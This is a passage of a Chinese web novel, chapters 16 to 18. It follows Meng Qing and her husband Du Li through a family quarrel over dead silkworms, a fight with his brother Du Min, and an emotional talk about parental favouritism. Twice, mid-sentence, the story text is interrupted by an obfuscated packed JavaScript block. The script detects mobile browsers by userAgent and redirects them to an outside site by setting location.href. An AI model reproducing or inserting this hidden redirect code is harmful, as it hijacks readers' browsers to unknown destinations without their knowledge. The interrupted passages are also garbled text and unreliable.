孟青抱着孩子在坊口等着,她看见杜黎头一眼就察觉到他又瘦了。 “青娘,你回来了?”杜黎站直身子冲她笑。 “你是不是又瘦了?”孟青问。 “我一直这么瘦,你站远点,竹子别戳到你和孩子。”杜黎说。 孟青等他过去,她跟在他后面回家。 “你别去了,去洗个澡,我给你拿身衣裳换上。”孟青说。 杜黎点头。 等他换好衣裳出来,孟青把孩子递给他抱,望舟瞪圆了眼睛直勾勾地望着他,一副害怕又不敢动的模样,惹得他忍不住发笑。 “家里的蚕是不是结茧了?你是来接我回去的?”孟青问。 “今年的春蚕全死光了,不用缫丝了。”杜黎丢下一个惊雷。 “什么?”孟青惊得瞪圆了眼睛,“春蚕死光了?怎么给养死了?出什么事了?蚕都死光了,今年的绢税可怎么办?拿钱买绢缴税?你娘舍得?” 16.第十六章 “娘已经气病了,都病得有半个月了,这两天病好了,我才能进城看你们。”杜黎面带无力,他努力打起精神说:“三弟月初离家之后,他这二十多天也没回去过,我顺道来看看,他别再出什么岔子了。 ” 孟青算算,说:“十天前他来找过我,还给望舟送来一个护身符和一柄桃木剑,怕望舟跟我去纸马店会看见脏东西。” 杜黎低头,他扶着孩子的头把他竖抱起来,说:“算他还有个叔叔样儿。” 望舟看不见他娘,他瘪嘴大哭,孟青走到他能看见的地方,但没伸手抱他,她逗着孩子问:“你还没说蚕为什么死光了,得病了?” 这事还要从李红果绝食讲起,她绝食之后,锦书和巧妹没心思喂蚕,养蚕的活儿就落在杜母身上。那几天下雨,杜黎和杜明要去稻田看水,回来的时候会顺带撸两筐桑叶,但他们兄弟俩只负责摘桑叶,擦桑叶上的雨水是杜母一个人弄,偶尔杜父无事可做的时候会搭把手。也不知道老两口谁疏忽了,桑叶上的水没擦干,又厚厚在蚕箔上堆一层,桑叶和桑叶黏在一起不透气,蚕捂死了一堆。 “一夜之间,蚕被捂死了一半,剩下的一半不知是受惊还是怎么了,陆陆续续都得了蚕僵病,半个月前全死光了。”杜黎说。 “大嫂绝食?为什么事闹绝食?”孟青从他的话里又发现一件奇事,她想笑又不敢笑,酝酿好一会儿,还是如实地暴露了想看热闹的嘴脸:“我走之后,你们家里还这么热闹?” 还热闹呢,她不在家也没落个清净,家里的蚕死光了,他娘还把这个事怪在她头上,怨她把孟家的晦气带回去了,所以家里才人不和事不顺。 “为让爹娘出钱供锦书去上蒙学,当时爹娘是答应了,蚕死光之后,这事估计又泡汤了,大嫂白挨几天的饿。”杜黎选能说的说。 孟青无语,“我走的那天给她递话,她犹犹豫豫不敢接话,她当时果决一点顺着我的话说,拼着拿不到钱不放我跟三弟走的决心,多多少少也能从你爹娘手里掏一笔钱。她有那笔钱,不用爹娘供,自己也能送锦书去上蒙学。” “当时没那个头脑,我们走之后,她估计后悔了,跟大哥一商量,两人演一出绝食的戏。”杜黎还挺佩服李红果的,后悔了敢打补,面上看着老实,其实挺有心眼,是个聪明人。 “你们家还有得闹。”孟青说。 杜黎喜闻乐见,家里不太平,他能翻个水花,家里要是太平了,他连个说话的机会都没有,但凡有个意见,老老少少联起手来打压他。 “要我说,你爹娘松松手,漏一笔财让到你跟你大哥手上,什么问题都没有了。家里的收入都攥在你爹娘手上,一家老小的心思都盯在那笔钱上,一个人多花了,另一个人就不痛快。” “怎么可能,父母在不异财不分家,律法都是这么规定的。”杜黎下意识说。 孟青暗骂他迂腐,她白他一眼,“我爹娘都健在,孟春还没成亲呢,他攒的就有私财,我爹娘也知道。” 杜黎沉浸在她给的白眼里,他扯个笑,不敢再说话,生怕说错话惹她不高兴。 “你家有六十亩永业田,这六十亩地种的是桑、榆、枣树,你跟你大哥溜边再种上百棵柑橘树,日常你俩打理,卖果子的收入你俩分。”孟青暗戳戳指点他。 杜黎听进去了,但买柑橘树要本钱,他爹娘肯定舍不得给,看孟青的意思,她估计愿意替他掏钱买柑橘树。但他不想用她的钱,更不想他大哥来占他们夫妻俩的便宜。 “我会想想。”他敷衍一句。 望舟突然大叫一声,杜黎和孟青都惊了一跳。 “他咋了?”杜黎问,“尿了?” 是恼了,他要孟青抱,但孟青一直不理他,他发脾气了。 “我来看看。”孟青伸手接过孩子,她指着杜黎跟孩子说:“望舟,这是你爹。” 望舟脸一扭,藏在她怀里贴得紧紧的。 杜黎悟出孩子的意思,他搓搓手,不自在地说:“这么小就知道认人了?挺机灵,机灵好啊。” “你这次来能住几天吧?你多住几天,孩子就跟你熟了。”孟青想让他留在这儿住些日子,她想给他补补身子,再瘦下去,他但凡病一场能要他半条命。 杜黎望着不肯看他的儿子,说:“行,我住几天。” “我听孟春说女婿来了?”孟母回来了。 杜黎赶忙去前院,“娘,是我来了。” “又瘦了,家里忙啊?”孟母在纸马店听孟春叨叨说他姐夫日子过得苦,她回来一见还真是,老头子的衣裳挂在他身上空荡荡的,能当船帆了。 “娘,他这次能留下来住几天,你宰两只鸡给他补补。”孟青跟出来说。 “行,我这就逮鸡,晌午就炖,下午没要紧的事,午饭晚点就晚点。”孟母脚尖一拐,撸起袖子朝鸡圈走去。 杜黎去拦,孟家就养了十只鸡,不知道孟青回来这大半个月有没有杀鸡,再宰下去,下蛋的鸡都没有了。 “不专门为你杀,我们也吃。你这孩子,回自己家了还客气什么?让开让开,鸡肯定是要杀的……”孟母抓到一只鸡,她攥着鸡脖子拎出来,说:“快把圈门关好,别让它们飞出来了。” 杜黎仔细一数,圈里只剩六只鸡了…… 孟母晌午宰一只鸡炖了,第二天又抓一只鸡宰了,杜黎连吃两天的鸡,吃得想掉眼泪,第三天说什么都不让宰鸡了,甚至说出再杀鸡他就要回去的话。 鸡是不宰了,孟青自掏腰包去乐桥一带的大市买羊肉,杜黎跟在后面拽她,不停地劝:“天都热了,再吃羊肉上火,别买别买。” “你瘦得快成竹竿了,吃一头羊都不会上火。”孟青头也不回地说,“店家,割三斤羊肉,要后腿肉。” “要不买猪肉吧,猪肉便宜……” 孟青扭头递给他一个眼神,他立马不啰嗦了。 羊肉二十五文一斤,三斤七十五文,孟青递钱的时候,杜黎忍不住说:“再添十五文够买一石米了,一石米能吃一个月。” “再来一斤羊肉。”孟青不惯他。 “够了够了,我不说了。”杜黎接过羊肉,他赶忙推着孟青离开肉铺。 孟青睨他一眼,她没好气地说:“你舍不得吃舍不得穿,抠下来的钱也没花在你身上,你瞧瞧你把这副身板亏待的,净剩骨头了。” 杜黎嘴硬,他拍两下大腿,说:“还有挺多的肉。” “你怎么不拍到屁股上去呢?那儿的肉更多。”孟青噎他,她领他去布行,给他挑一件灰白色圆领短衣,一条皂色袴裤,幞头和腰带也买新的。 “家里还有衣裳,去年跟你成亲的时候新做的两身,都还没怎么穿过。我这是来的时候打算下午就回,就没带换洗衣裳。”杜黎不想她再花钱,不想买新衣裳。 孟青理都没理,她递出去四十八文钱,拿着一身粗布衣裳离开布铺。 回去的时候没坐船,两人一路走回去,孟青受够了路上行人看他的眼神,到家她就叫他把身上的衣裳换下来。他长得不错,但气场弱,穿上她爹的衣裳,沉闷的颜色越发压身,看着像个游魂。 “以后再来城里,你换上你的好衣裳,穿得体面点。”孟青嘱咐他。 “我这次来之前要先去地里摘桑果,我担心好衣裳染上色,才穿的旧衣裳。”杜黎解释。 “摘了桑果再回去换身衣裳不行?”孟青扯开腰带重新给他系,系好之后她退几步打量一番,说:“这样就精神多了。我去炖羊肉,你去书院一趟,看能不能遇上三弟,喊他一起来吃羊肉。” “还喊他啊?”杜黎不想去,他过来住几天已经挺麻烦孟家人了,但这好歹是他岳家,他占个女婿的身份,占便宜也理所当然。但他再把他兄弟也带来一起吃喝,那是占便宜没占够,不要脸。 “我找他有事,快去。”孟青推他,浸过墨水的黄麻纸晾干了,可以糊裱了,她打算让杜悯通知顾无夏来一趟。 杜黎这才出门,他走出嘉鱼坊遇到一个抱着孩子的年轻妇人,她住在孟家隔壁,两家是邻居。他主动打个招呼:“云嫂子,哄孩子呢。” “对,带孩子出来转转。”云娘没认出人,她多看两眼,迟疑地问:“你是孟家的姑爷?我差点没认出来。” 杜黎看她在打量他,他瞬间领悟到孟青话里的意思,他来岳家穿得不讲究,给孟青丢人了。 一路走到儒林坊,杜黎脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15854080|175494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的窘意还没散尽。抵达崇文书院,他拍拍身上的衣着,上前问门房:“阿叔,杜悯在不在书院?他今天没出门吧?我是他二哥,能不能进去找他?” “找杜学子啊?他半个时辰前跟谢夫子回去了。你顺着那条路走,走到第二个巷子拐进去,巷口头一家是谢夫子的家。”门房态度热忱地给他指路。 杜黎道谢,他站在书院外犹豫一会儿,选择找过去。靠近门房说的第二个巷子时,他看见杜悯站在巷外傻笑,高兴得像捡了钱一样。 杜黎从没见过杜悯的这一面,他驻足看一会儿,笑着走过去:“三弟,捡到金子了?这么高兴。” “二哥?”杜悯回神,他敛去两分笑,问:“你怎么在这儿?来找我的?” “你二嫂在家炖羊肉,让我来喊你一起去吃顿好的。书院的门房说你去谢夫子家里了,我过来看看。” 杜悯摆手拒绝,“我不去,我在谢夫子家吃过了。” 杜黎望天,这会儿还不到午时,大多数人家才生火煮饭,谁家午饭吃这么早? 杜悯也不解释,他抬脚往书院走,随口问:“家里是不是在煮茧缫丝了?你来接我二嫂回去帮忙?” “不是,你二十多天没有回去过,我过来看看,担心你出事了。”杜黎说,“你二嫂找你有事,你今天不跟我去吃饭,明天早点去一趟。” “行,正好我也有事跟她商量。” “你什么时候能回去一趟?娘病了,你回去看看她。”杜黎问。 “娘生病了?什么病?什么时候病的?”杜悯停下步子,他关心地问。 “今年养的春蚕死光了,娘为这事气病了,病了半个月才好。”杜黎把家里的情况跟他说,“我让爹娘拿钱再买几千个蚕茧,织的绢布交完绢税,还能卖几匹,扣除买蚕茧的钱,还能赚个一贯钱。唉……爹娘舍不得,他们打算养夏蚕,但夏蚕还更容易生病,别到时候又白忙一场。你回去劝劝,我的话他们听不进去。” 杜悯冷下脸,脸色极为难看,他怒气冲冲地问:“春蚕死光了?你们在干什么?家里那么多人还不能好好养蚕?一万多条蚕全死了?怎么就死光了?” “你冲我嚷什么?”杜黎不高兴,他也来气了,指责说:“你又没养一天蚕,连桑叶都没摘过,蚕死光了跟你有什么关系?” “跟我没关系?一万多条蚕,织的绢布交完税还能卖四五贯钱,四五贯钱啊!你娶个能赚钱的媳妇就不拿钱当钱了?”杜悯气得失去理智,开始口不择言。他为卖出去一对纸马,三番两次在顾无夏面前伏低做小,挖空心思引顾无夏去纸马店。为写策论,他熬夜看经书查民俗,跑完寺庙跑道观,腿都跑细了,脸都笑烂了。 “我费力一场卖掉两个纸马,赚的钱还不够补家里的窟窿。”杜悯越想越气,“我费心读书,还要操心赚钱,我试图减轻家里的负担,你们却在拖我后腿。” 杜黎顾不上跟他计较,他紧张地看四周,“你闭嘴,胡嚷嚷什么。” 杜悯深吸一口气,他吞咽下怒气,冷静下来后,说:“夏蚕要养,能活多少活多少。蚕茧也要买,能赚点就赚点。” “你说得容易,又要织绢还要养蚕,家里忙得过来?到时候娘又要闹着让你二嫂回去做饭,你二嫂不回去,你大嫂也要闹。”杜黎没好气说。 “那你说怎么办?你们给望舟办满月宴花七八贯钱,一季早稻没了,蚕桑再颗粒无收,今年就指望晚稻赚点钱?那才多少?”杜悯质问。 杜黎愕然地盯着他,“你对望舟办满月宴也有意见?” 杜悯扭过头不说话。 杜黎心凉,“杜悯,大哥有意见我能理解?你凭什么有意见?你能算清你念书花了多少钱吗?我今年二十二岁,十岁就下地割稻,种地十二年,吃的米吃的菜是地里出产的,穿的衣裳是大哥不要的……” “闭嘴!不要说了。”杜悯大叫一声,他咬着牙瞪着眼,几次张嘴都说不出话,最后一抹眼泪,压住哭腔无力地说:“对,我欠你的,我欠你们的,我亏欠家里所有人。行不行?满意了吧?可我能怎么办?不读书了吗?” 杜悯说罢跑了,杜黎喊了两声,看他头也不回,他气得朝石头踢去一脚。 17.第十七章 杜黎抱着踢疼的脚原地乱蹦,过路的人见了纷纷笑出声,他窘得慌,忍着脚疼一瘸一拐地离开。 回去的路上,杜黎越想越觉得这日子没滋味,他所做的所付出的,没人看在眼里,没人心疼他,没人知道感恩,他吃的苦受的罪算什么? “死狗!再来偷吃我药死你。”一个系着围裙的男人拎着菜刀追着一条白狗跑到路上来。 白狗跑过桥,男人不追了,他站在桥上骂骂咧咧。 杜黎被拦住路,他索性往河边一坐,塌着腰垂着头看河对岸的路人,他们都在笑,跟孟青一样,笑得光彩夺目,眉飞色舞的劲好像什么都不怕。而他像那只落魄的白狗,拖着脏兮兮的身子走在街边小心翼翼地寻找别人丢下的食物。 狗在讨食,他在祈爱。 爹娘不喜他,大哥打压他,三弟不承他的情,他怎么做都是错。 “大毛,吃饭了。”河边的民居里传出一道喊饭声。 狗抬头看去,杜黎也循声望去,他看见一个扎独角辫的小童快活地往家跑,白狗摇着尾巴迎上去。没一会儿,小童偷偷摸摸端出一碗饭,分狗一半,一童一狗蹲在墙脚各吃各的。 杜黎直起腰站起来,还有人在等他回去吃饭,他过桥往嘉鱼坊走,越走越快,最后跑起来。 * 孟家,羊肉的香味勾得人口齿生津,孟春一再出门去坊口观望,“我姐夫怎么还没回来?” 第五次出门的时候,他撞上大汗淋漓往家里闯的男人,他吓得要关门,“姐夫?出什么事了?有人在后面追你?” 后院的人听到动静纷纷走出来,孟青纳闷:“出什么事了?” 杜黎跑出一身的郁气,他瘫坐在地,边喘边说:“没事,我担心回来晚了,一路跑回来的。” “我怕是嫁了个傻子。”孟青要受不了了。 孟母失笑,这个年纪还能有这种心性的男人真是少见。 孟春扶杜黎起来,说:“幸好你是跑回来的,再晚一会儿,我能把门槛踩破喽。杜三哥呢?没找到人?” “他不来,以后有好吃的也别惦记着他。”杜黎这次没为杜悯遮掩,肉喂狗都不要给他吃。 “怎么不来?还不好意思?”孟母没察觉到不对劲,她笑道:“你们兄弟俩一个赛一个客气。” “他不是客气,应该是看不上。”杜黎面无表情地说,“娘,你们不用惦记他,他不缺吃的。” 孟母脸上的表情僵住了,她知道是一回事,被人大大咧咧说出来是另一回事。 孟春扶着他的手改为掐,狠狠掐杜黎一下,杜黎咬着牙,硬是没吭一声。 “他不来吃,我们多吃一点。”孟青接话,“开饭吧,我都要饿没奶了。” 孟母打她一巴掌,“长个嘴胡咧咧,这么多人……你知不知羞?” 孟青笑着跑开,她去盛羊肉汤,三斤羊肉清炖,配两碗韭菜汁做蘸料。 “先吃肉,吃完肉用肉汤泡饭。”她端肉上桌。 孟母先给孟父舀大半碗,接着给杜黎舀满满一碗肉,“女婿,你多吃点,你是做体力活儿的,千万不能太瘦。” 杜黎双手接碗,他想挤出个笑,却不想淌下两行热泪,他慌忙低下头。 孟母愣住了,她探询地看向孟青,孟青摆摆手,她便当做什么也没看见,若无其事地问:“儿子,我给你盛还是你自己盛?” “我自己来。” “我记得家里还有酒是吧?喝点酒?”孟父提议。 孟母夹眉瞪他,让他老实点,别把人喝醉了,清醒的时候都掉眼泪,醉了还不得大哭啊。 孟父不听她的,他使唤孟春去拿酒。 孟春看向孟青,孟青点头他才去拿。 “女婿,这还是青娘出嫁那次余的酒,你娘一直不让我喝,要留到来客的时候喝,你今天在,陪我喝一碗。” 杜黎整理好情绪,他点头说:“行,我陪爹喝。” 孟父是喝酒的老手,杜黎沾酒的次数屈指可数,一碗清酒下肚,他就迷糊了。 “喝晕不喝醉,喝醉伤身。”孟父见火候差不多了,他收酒碗劝杜黎吃肉。 饭后,孟春扶杜黎回屋睡觉,孟父在外面低声嘱咐:“青娘,人喝迷糊了防备心弱,你去陪他聊聊,看他心里憋着什么话,有话就说出来,别把人憋坏了。” “也是可怜,过的什么日子,我说几句关心的话,他都遭不住。”孟母心生怜惜,“多好的孩子,江老婆子不知道心疼,可劲地糟蹋人,以后有她后悔的。” 孟青点头。 孟春从屋里出来,说:“我姐夫喝迷糊了还挺乖,让抬脚抬脚,让脱鞋脱鞋,听话得很。” “他那性子要是能闹得起来,还能一直在家受欺压?”孟青说,“幸好歹竹出好笋,他不像杜家人一样没良心势利眼,你们待他三分好,他能往心里记七分。” 孟青允许自己势利算计,但接受不了枕边的人满肚子心眼。她对杜黎的性格还是挺满意的,作为一个不被重视的老二,他心里苦只折磨自己,不是那种易怒易躁的狂暴性子。 孟父要去守店,他把孟春也拎走,免得留他在家碍事。 “我抱望舟出去转转。”孟母也给小夫妻俩腾地方。 家里人都走了,孟青端碗温水进卧房,她走到床边把碗放衣箱上,走到床的另一侧,蹲下温声问:“杜黎,你渴不渴?喝不喝水?” 杜黎睁开眼,他头晕但心里是清明的,饶有条理地说:“水放这儿,我渴了自己喝,你去忙你自己的事。” “我没事忙,我本来打算喊杜悯来,问问他的策论做得如何了,我想着最好是他的策论打出名声了,我再把纸马的成品交给顾无夏。他晌午没来,我下午就没事做。”孟青故意提起杜悯,她脱掉鞋和外衫,推他说:“往那边躺躺,我也上来睡一会儿。” 杜黎沉默地挪过去。 孟青拉上薄被盖上肚子,她躺下去闭上眼,装作真要睡觉的意思,不闻也不问,但竖着耳朵听旁边的动静。 第五十三次呼气结束,杜黎忍不住了,他告状说:“我跟三弟吵架了,我今天才知道他也对望舟的满月宴有意见,他觉得我们花他的钱了。” 孟青嗖地一下睁开眼,“我小弟当时去你家通知满月宴的事,他可也在场,我记得他还是赞同的,还要带同窗回来吃饭。” “没错。”杜黎也记得清楚,他伤心地说:“家里的钱没有一文是他赚的,他倒有脸把钱都占在他名下,我这个赚钱的人还不能用了?他当我是什么?我就是卖身当奴才当长工,我也有工钱吧?” 孟青生气,“这话你跟他说了吗?他是怎么说的?” “没有,没来得及说。” “下次见面跟他把话说清楚。要不你明天再去找他?”孟青提出解决办法。 “不去,没意思。他跟我爹娘一样,他们的心是捂不热的,我做再多他们也不承情,我说的话他们永远听不进去,还会嫌我烦嫌我吵,让我闭上嘴。我想不通,我是个蠢蛋还是傻货?他们是有多瞧不起我,我在家连个说话的资格都没有。”话到伤心处,杜黎默默流泪,他哀声说:“我有时候怀疑我是一个鬼,是一个影子,他们听不见我的声音。但他们又会嫌我烦,我应该是一条狗,我以为我在说话,他们以为我在狗叫。” 太悲哀了,孟青眼眶泛酸,她伸手抱住他。 “我不知道我还活着做什么,他们为什么不趁着我睡觉的时候把我捂死。”杜黎抬手蒙上眼睛,他哽咽得声音发抖,认命地说:“我一直在讨好他们,我讨好我爹娘,讨好我大哥,为了让他们喜欢我,我甚至从小讨好我三弟。但没用,他们认为我天生是摇尾乞怜的命,把我当狗使唤。” “那就不讨好了。”孟青替他擦眼泪。 杜黎也不打算讨好了,他不当狗了。 “你会嫌弃我吗?”他认真地问。 “没有嫌弃。”孟青不知道往后几十年杜黎会是什么样子,她不能保证不会嫌弃他,但她此刻是没有嫌弃的。 杜黎脑子不清明,他没听出区别,他得寸进尺地问:“我来你家当上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15864489|175494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门女婿吧?” 孟青动作一顿,她笑着问:“你入我孟家的门,赘入贱籍,没了田地,你如何养我和孩子?” “也对。我说着玩的。”杜黎自己都清楚他在说玩笑话,孟青嫁给他图的是什么他心里一清二楚。 “你都付出那么多了,可别在快要摘花收果的时候撂手走人,你付出了多少,得两倍三倍地拿回来才行,不然可对不起自己。”孟青提醒他。 杜黎听进去了,他陷入沉思。 孟青依旧搂着他,她思索着竟有如此偏心的父母,都是儿子,都是自己的骨肉,竟能做到十年如一日地霸凌他。 “杜黎,你是你爹的种吗?”她粗鲁地问。 “我当然是。”杜黎很激动。 “也是你娘亲生的?真是奇怪,按你的长相,你小时候肯定惹人爱,杜悯又小你四岁,这四年间,你爹娘怎么也该对你有感情。”孟青给他分析。 “我是她亲生的,她不喜欢我是因为我有几年不在她身边。我五个月大的时候,她又怀上了,但胎不稳,村里的老人说最好给我断奶,我不吃奶她才有血气去养胎,但我断奶之后不吃不喝。最后我爹娘选择保已经生出来的这个,肚里的那个能不能保住看命。” “我七个月大的时候,我娘滑胎了,胎掉了,她下红不止,要吃药保命。她没精力照顾我,我被我大舅娘抱了回去。直到我满三岁,我娘能下地干活儿了,我才被送回来。我被送回去跟家里人不亲,天天哭,还没等我习惯换个家的日子,她又怀上了,嫌我在家哭是哭丧,担心肚里的孩子会出事,就把我送回我大舅娘家。杜悯周岁那年,我大舅娘病死了,我才回到自己家。”杜黎解释,“这事村里人都知道,我不可能不是我爹娘亲生的。” “这样啊。”孟青明白了。 “我娘不喜欢我我还能理解,我爹怎么也不喜欢我?我没三弟聪明,但我比大哥能干,他经常偷奸耍滑,我爹也骂他,但还是喜欢他。”杜黎疑惑。 “你现在是清醒的吗?”孟青问,“我现在跟你说的话,你酒醒之后不会忘吧?” 醉意已经随着眼泪流跑了,杜黎确定他已经清醒了。 “好,那我跟你说。”孟青探听明白了,她不再兜圈子,也想彻底让杜黎清醒过来,她坐起来居高临下地盯着他,说:“你爹娘不喜欢你的最大原因是你没有价值,你对他们没有多余的价值,唯一的价值是干农活儿,所以你的地位等同于耕牛。” 杜黎泪意蔓延,“我是他们生的,他们不能喜欢我,为什么要生我?为什么要养我?” “他们生儿为防老,为了不绝后,很多父母爱孩子,但不是毫无条件地爱。你爹娘有三个儿子,老大有子嗣,他占据着养老和不绝后的角色,老三聪明会读书,他占据着光宗耀祖的角色,你呢?有什么特殊的?你给他们的价值是他们不稀罕的,你的价值就是个长工。”孟青刻薄地说,“我告诉你,你没有价值,父母就会轻贱你看不起你。当然,不止你一个人,对很多人来说都一样。” 杜黎被刺痛,他反击问:“你也是?你爹娘喜欢你是因为你有价值?” “对。”孟青痛快承认,“如果不是我扶持纸马店发展起来,如果不是我带我爹娘赚钱,如果买下这座宅子我没出力,我能带走一百二十贯的嫁妆?我能带着孩子回娘家长住?你也当爹了,你摸着良心实事求是地回答,望舟以后一事无成,你愿不愿意掏空家底给他娶媳妇,还高高兴兴卖命替他养媳妇养孩子,你会不会嫌弃他?” 杜黎拒绝去想,他愤怒地说:“我不会让我的孩子跟我一样,他以后就是沦落到讨饭吃,我也不嫌弃他。我如果有一天看不起我的孩子,我自己跳河淹死,我说到做到。” 孟青沉默,她看他呼哧呼哧喘粗气,她笑道:“望舟有你这个爹,是我送给他的最好的礼物。” 杜黎推她,“你离我远点,我看不起你,你爹娘对你这么好,你还往坏处想他们。” 转过身,杜黎忍不住想和乐的家庭怎么会养出孟青这样的性子?她莫不是也吃过亏? 18.第十八章 孟青为什么会有这种思想?这是她上辈子狠狠跌了一跟头得出的经验。她出生在双职工家庭,家里条件不好不坏,读书之余,她爸妈有余力供她上兴趣班。她自小学美术,从六岁学到二十二岁,这是个吃钱的行业,大学毕业那一年,她爸妈拿出账本给她看,十四年,他们在她身上花了近百万。 但投资和回报不成正比,她毕业后从事产品设计,这是吃资历的行业,她一个初入社会的菜鸟只有练手的资格,在她的老家只有六七千的工资,她尚满意,因为能养活自己,还能待在父母身边。却没想到她父母觉得投资失败了,要她趁年轻抓紧时间结婚,介绍的男人除了有钱没一样她满意的,他们听不进她的意见,一再劝她不要太挑不要太挑!在她又一次拒绝一个“金龟婿”后,她爸妈指着她的鼻子问她傲什么傲。 “你傲什么傲?你有什么可傲的?长得帅还有钱的男人会要你?你也不照照镜子看人家看不看得上你。也就上了个普通大学,又不是多好的,找的工作也就那一点钱,十年不吃不喝都还不起我在你身上砸的。” 哪怕都转世做人十九年了,孟青依旧忘不掉这番挖心的话,她没想到她最爱最信任的人是这般评价她的,她傲,她眼光高挑男人,她上的大学不行,她的工作不行,她的未来也不行……他们对她的好似乎是有目的的。 在那次争吵后,孟青离开家,她去了一线城市,每天夜里为这番话伤心流泪的时候,她就爬起来忙工作。她的工作为她带来高回报,她父母的态度也变了,见人就说我们孟青除了婚姻困难,其他样样都好,她从小到大没让我们操过什么心……甚至当她的面也这么说。她听到这些话不觉得讽刺,只为自己难过,她索求的爱是有条件的。 但她明知道父母背后的嘴脸,她却狠不下心断来往,因为父母养大了她,从没有亏待过她,她有责任给他们养老。她只能自我折磨,在一日日工作中麻木自己,最后猝死的瞬间,她只觉得是解脱。 可惜带着记忆投胎,她终究摆脱不了前世的阴影,无法做一个单纯的人,她长成一个有戒心会为自己算计的人。 “杜黎,别人不喜欢你,你要喜欢你自己,你对自己好一点,再好一点,更好一点。别人不爱你,你一定要爱你自己,你不能对不起他。”孟青摸着他的脸一字一句地告诉他,她认真地说:“你一定要对自己好一点,要对自己最好。” 说罢,孟青不等他反应,她下床穿鞋,套上外衫开门出去了。 站在院子里,孟青抬手拍拍自己的脸,跟杜黎谈心怎么把自己也聊进去了,不能忘怀的伤心事又翻出来,她心里乱糟糟的。为平复心情,她拿出染上色的黄麻纸去糊纸马。 孟母抱着哭闹的外孙回来时,孟青在前院炖骨胶,骨胶是事先熬好的,用的时候要煮热炖化。 “望舟饿了,你给他喂奶去,我来看着火。”孟母一身的汗,她嘀咕说:“十来斤的娃,一身的牛劲,哭起来怎么哄都不行。” 孟青抱着孩子去棚子下面喂奶,她伸手摸孩子的脊背,一手的热汗。 “他爹呢?哭了吗?”孟母悄悄问。 “哭了。”孟青没替他隐瞒,“还在床上躺着,不知道是睡了,还是不好意思出来。” 孟母打听他跟杜悯之间闹什么矛盾了。 “为钱闹的。”孟青含糊地说,不管杜黎跟杜悯怎么闹,她都不打算跟杜悯撕破脸,最好也不要让她娘家掺和进来。 “望舟的里衣汗湿了,我回屋给他换一件。”孟青借口离开。 杜黎听到脚步声,他忙闭上眼佯装睡觉,孟青也不管他睡不睡,她喂饱孩子,直接把昏昏欲睡的孩子塞进他怀里。 杜黎睁开眼,两人目光对上,孟青毫不留恋地走了。 “孩子呢?”孟母问。 “跟他爹在睡觉。娘,你替我糊骨胶,我来裱纸。”孟青一心干活儿。 “你不等那谁拿画来?” “最后两层再矫正颜色。” 骨胶黏性强,流动如蛋清,糊在浓黑的黄麻纸上,举起对着太阳看,晕湿的黄麻纸如一板流动的玉壁。一张接一张黄麻纸裱在素白的绢布上,一层裱完再复裱一层,三层过后,白马变成了黑马。 日落了,孟母去做饭,孟青没了帮手,她停下糊裱的活儿,撕一缕布缠在食指上,她用食指在纸马上一寸寸擀过,擀平纸下的骨胶。 杜黎在床上躺不住了,他穿鞋下床,抱着望舟开门出去。 “女婿,酒醒了吧?”孟母绝口不提他之前的异样,她佯装不满地骂:“都怨你爹,不让他喝他偏要喝,他是个酒缸,自己没事倒是把你灌倒了。你长个记性,以后别陪他喝酒。” “又在说我什么?还没进门就听见你在嚷嚷。”孟父回来了。 “以后别灌女婿喝酒,他不常喝酒的人,一醉要难受半天。” 孟父看向杜黎,笑着问:“醒酒了?” “醒酒了。”杜黎沉静地说。 “酒量不行,以后我陪你多练练。” 孟母一听就要骂人,孟父转身就走。 杜黎看老两口这种性子,怎么也不像唯利是图的爹娘,但他不是孟青本人,他不能否定她的判断。他唯一能确定的一点就是一个人有能力,旁人才肯听你的话,如孟青于孟家,杜悯于杜家。 这是他反复咂摸孟青的话,想了小半天才让自己接受的,他的确没能耐没本事没多大的价值,弱得让人看不起,谁都能踩一脚。 夜晚睡在床上,杜黎平静地说:“青娘,我明天打算回去。” “回去做什么?” “我打算去田地里看看,看除了种庄稼,我能不能在我的二十亩永业田和三十亩口分田上寻找其他赚钱的法子。” 孟青松口气,她没白花心思。 “大胆地做,我会一直支持你。”她说。 杜黎攥住她的手,他交代说:“我跟杜悯之间的事你别插手,你要是见到他就当什么事都不知道,不需要为我讨公道。我跟他吵架也好打架也罢,只要我爹娘还活着,我跟他怎么闹都有和好的一天。你不一样,你得罪他,他对你有恶意,会连带把我爹娘对你的怨气一起背负上。” 孟青惊讶他还有这个觉悟,看来是真清醒了,不感情用事了。 “我们这个小家对上你们那个大家,永远都是我唱红脸你唱白脸,遇到口角官司,我讲理你诉冤。”她趁机安排。 “行。”杜黎答应,他想了想,说:“六月之前你不要回去,割早稻种晚稻的时候也不用回去,就算杜悯找到你,你也寻个借口拒绝。你不回去,大哥大嫂肯定要闹事,家里闹得越厉害,我才能想法子争得田地的一部分出息。” “行,你怎么想的就怎么去做。”孟青心里暗喜,这个迂腐的男人开窍了,她明天就去上柱香感谢杜悯,他是她的贵人。 * 次日一早,孟青和孩子送他去渡口。 “爹要走了,你乖乖听你娘的话。”杜黎把怀里的孩子还给孟青,这娘俩长得真像,孩子身上没一点随他的。 “望舟跟你长得一模一样,他的心都偏在你身上了,你可不能嫌弃他一点点,你算计谁也不能算计他。”他不放心地嘱咐她。 孟青剜他一眼,“你先管好你自己。” 杜黎 